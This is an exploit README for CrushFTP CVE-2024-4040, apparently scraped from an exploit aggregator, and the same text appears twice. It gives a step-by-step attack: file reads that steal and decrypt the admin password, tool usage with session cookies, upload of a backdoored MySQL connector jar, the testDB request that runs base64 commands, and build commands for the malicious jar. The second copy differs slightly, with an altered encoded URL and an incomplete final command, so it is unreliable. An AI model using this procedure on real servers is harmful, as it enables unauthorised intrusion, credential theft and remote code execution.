## https://sploitus.com/exploit?id=3A3CA30D-8913-5CF8-95E0-D013DA9AF57E
# CVE-2024-4040
## Introduction
* I recently noticed this vulnerability and found it quite interesting. After reading the following articles, I wrote a small exploit.
* https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/
* https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP%E5%90%8E%E5%88%A9%E7%94%A8%E6%8F%90%E6%9D%83%E5%88%86%E6%9E%90-CVE-2024-4040/
## Target Machine
* I used someone else’s Docker image. For more details, please refer to the author’s GitHub repository.
* https://github.com/MarkusMcNugen/docker-CrushFTP
```
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v :/var/opt/CrushFTP10 markusmcnugen/crushftp:latest
```
## Attack Process
### Obtaining the Password
* The password is obtained using `exploit.py` and `decrypt.java`. The reason is simple: the key is fixed, so it can be decrypted and can access any file.
* It’s important to note that if the default admin account, `crushadmin`, doesn’t exist, you can try accessing `CrushFTP.log`, which contains account information.
* `CrushFTP.log`
* 
#### exploit.py
* 
```
usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]
CVE-2024-4040
options:
-h, --help show this help message and exit
-u URL, --url URL The target URL
-H HEADERS, --headers HEADERS
Headers
--account ACCOUNT The target account
--shell
--jar-path JAR_PATH Jar file path
```
* The logic involves checking whether the target has vulnerabilities. Four default accounts are used, and the `user.XML` file is tried to be accessed.
* Once a vulnerability is confirmed, the user account specified by the user is obtained. If it doesn’t exist, the default `crushadmin` account will be used.
* After obtaining the password, `decrypt.java` is used to decrypt it.
* The `--shell` option allows you to see the results after RCE. By uploading the jar file using this option, you can specify `--jar-path` and `--headers` to see the execution result.
* Note that `--headers` must include the cookie after login. For example, `--headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"`
* The default path for `--jar-path` is `/tmp/mysql_cmd_db_user_final_with_echo_base64.jar`. If it’s a different path, make sure to specify it. Relative paths are also possible, but absolute paths are recommended.
* To exit, just type `exit`.
* Example command: `python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"`
* 
### Adjusting Login Mappings and Permissions
* After logging in, access the admin panel.
* 
* Find the “User Manager” section. Click on the user you want to map the folder to. Finally, adjust the permissions. Make sure to check “Upload”.
* 
### Uploading the Malicious Jar File
* Two malicious jar files have been prepared. One is for JDK 16, and the other is for JDK 13. You need to check what Java version the server is running on.
* Go back to the “Files” section, select “Upload”, and then upload the malicious jar file.
* 
### RCE
* The reason for RCE is simple: there’s a function called “testDB” that allows you to specify the jar file and driver object. Combined with the ability to upload files, this creates an RCE vulnerability.
```
command=testDB&db_driver_file=&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=&db_pass=&c2f=
```
* 
* The command shown in the image is `id`.
* By passing the command in the `db_user` parameter after encoding it using base64, the command can be executed.
* The MySQL connector I modified is version 5.0.4.
* If both compiled versions cannot be used, I will provide the modified version. You can recompile them according to the following instructions:
* `mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar`
* `cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java`
* `javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java`
* `jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *`
# CVE-2024-4040
## Introduction
* Recently, I came across this vulnerability and found it quite interesting. I read the following articles and wrote a brief exploit. * https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/
* https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP-Post-Exploitation-Privilege-Escalation-Analysis-CVE-2024-4040/
## Target Machine
* I used someone else’s Docker image. For more details, please refer to the author’s GitHub page: * https://github.com/MarkusMcNugen/docker-CrushFTP
## Attack Process
### Obtaining Password
* Use `exploit.py` and `decrypt.java` to obtain and decrypt the password. The key is hardcoded, so you can decrypt it and read arbitrary files. * Note that if the default admin account, `crushadmin`, does not exist, you can try retrieving information from `CrushFTP.log`. * `CrushFTP.log`
* 
#### exploit.py
* 
```
usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]
CVE-2024-4040
Options:
-h, --help Show this help message and exit
-u URL, --url URL The target URL
-H HEADERS, --headers HEADERS Headers
--account ACCOUNT The target account
--shell
--jar-path JAR_PATH Jar file path
```
* The logic first checks whether the target is vulnerable using four default accounts and attempts to retrieve the `user.XML` file. * If the target is confirmed to be vulnerable, it retrieves the user-specified account; if not provided, it defaults to the `crushadmin` admin account. * After obtaining the password, it uses `decrypt.java` to decrypt the password.
The `--shell` feature is used to conveniently view the results after Remote Code Execution (RCE). After uploading the JAR file using the following method, specify `--jar-path` and `--headers` to see the result of the execution command:
* Note that `--headers` must include the logged-in Cookie, for example, `--headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"`
* `--jar-path` defaults to `/tmp/mysql_cmd_db_user_final_with_echo_base64.jar`. If it’s in a different location, make sure to specify the path. Relative paths work theoretically, but absolute paths are recommended. * To exit, type `exit`. * Example command: `python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"`
* 
### Logging In to Adjust Mappings and Permissions
* Log in and visit the admin panel. * 
* After finding `User Manager`, click on the user on the left, drag the folder you want to map to User’s Stuff, and then adjust permissions. Make sure that “Upload” is checked. * 
### Uploading the Malicious JAR File
* Upload the malicious JAR file. I have prepared two versions, one for JDK 16 and another for JDK 13, depending on the server’s Java version. * Go back to the “Files” section, click “Upload”, and upload the malicious JAR file. * 
### RCE
* The reason for RCE is that there’s a `testDB` function where you can specify the JAR file and driver object. By combining these elements, you can achieve RCE. ```
command=testDB&db_driver_file=&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%252F3306%252Fcrushftp%252FautoReconnect%253Dtrue&db_user=&db_pass=&c2f=
```
* 
* The command shown in the image is `id`. * Pass the base64 encoded command in the `db_user` parameter to execute it. * I personally modified the MySQL connector version 5.0.4. * If the two compiled versions don’t work, I provide my modified version, which can be recompiled with the following commands:
* `mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar`
* `cp../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java`
* `javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java`
* `jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar`